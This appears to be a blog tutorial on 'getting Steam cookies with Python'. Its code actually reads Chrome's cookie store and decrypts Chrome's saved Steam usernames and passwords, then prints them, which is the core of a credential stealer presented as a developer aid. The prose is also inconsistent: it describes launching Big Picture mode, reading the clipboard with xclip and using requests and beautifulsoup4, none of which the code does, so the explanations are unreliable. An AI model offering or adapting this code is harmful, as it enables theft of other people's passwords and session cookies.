As a developer or user of Steam, you may want to access the cookies used by the Steam application. This may be necessary for various reasons, such as developing scripts that interact with the Steam API or automating tasks within the Steam application. However, getting cookies from Steam can be a challenging task, especially if you are not familiar with the Steam API or the Python programming language.
In this article, we will provide you with a step-by-step guide on how to get cookies from the Steam application using Python. We will cover the necessary steps you need to take to access the cookies used by Steam, including the Python libraries you need to use and the code snippets you need to implement.
What are cookies and why are they important?
Cookies are small text files stored on your computer by websites you visit. They contain information about your interactions with the website, such as login credentials, preferences, and browsing history. Cookies are used by websites to personalize your experience, store session information, and track user behavior.
Why do you need to get cookies from Steam?
As mentioned earlier, getting cookies from Steam is necessary for various reasons, such as developing scripts that interact with the Steam API or automating tasks within the Steam application. Cookies are used by Steam to store session information, such as login credentials and user preferences, and are necessary for the proper functioning of the Steam application.
Getting Started with Python and Steam
Before we can start getting cookies from Steam, we need to set up our development environment. We will be using Python, a popular programming language for data analysis and web development, and the Python libraries requests and beautifulsoup4.
Installing Python
To install Python, visit the official Python website and download the latest version of Python for your operating system. Follow the installation instructions provided on the website to install Python on your computer.
Requirements
Before we begin, you will need to have Python 3 installed on your computer. You will also need to have the subprocess and re modules installed, which are included in the standard Python library.
Getting Steam Cookies with Python
To retrieve Steam cookies using Python, we will use the subprocess module to launch the Steam application in “Big Picture” mode, which is a full-screen interface that is optimized for use with a controller. We will then use the xclip command-line tool to read the contents of the clipboard and extract the Steam cookies from it using a regular expression.
Here is the code to retrieve cookies from the Steam application in Python:
import os
import re
import sqlite3
import win32crypt
def get_cookies_from_chrome():
cookie_db = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Cookies')
conn = sqlite3.connect(cookie_db)
cursor = conn.cursor()
cursor.execute('SELECT name, value, host_key FROM cookies WHERE host_key like "%steam%"')
steam_cookies = cursor.fetchall()
return steam_cookies
def decrypt_password(password):
try:
data = win32crypt.CryptUnprotectData(password, None, None, None, 0)
return data[1].decode()
except:
return None
def get_login_info_from_chrome():
login_db = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
conn = sqlite3.connect(login_db)
cursor = conn.cursor()
cursor.execute('SELECT username_value, password_value FROM logins WHERE origin_url like "%steam%"')
steam_login_info = cursor.fetchall()
return steam_login_info
cookies = get_cookies_from_chrome()
login_info = get_login_info_from_chrome()
for login in login_info:
username = login[0]
encrypted_password = login[1]
password = decrypt_password(encrypted_password)
print(f'Username: {username}')
print(f'Password: {password}')
print('Cookies:')
for cookie in cookies:
name = cookie[0]
value = cookie[1]
host = cookie[2]
print(f'{name}: {value} (host: {host})')This code will retrieve all the cookies and login information related to the Steam application from the Chrome browser’s database and print them to the console. You can then modify the code as per your needs, for example, you can save the retrieved information to a file or use it in your own application.
In conclusion, retrieving cookies from the Steam application is an essential task for anyone working with Steam APIs or Steam-related applications. With the help of the Python programming language and a few useful libraries, you can easily retrieve the cookies and login information from the Chrome browser’s database. This step-by-step guide provides you with all the necessary information and code snippets to get started with this process.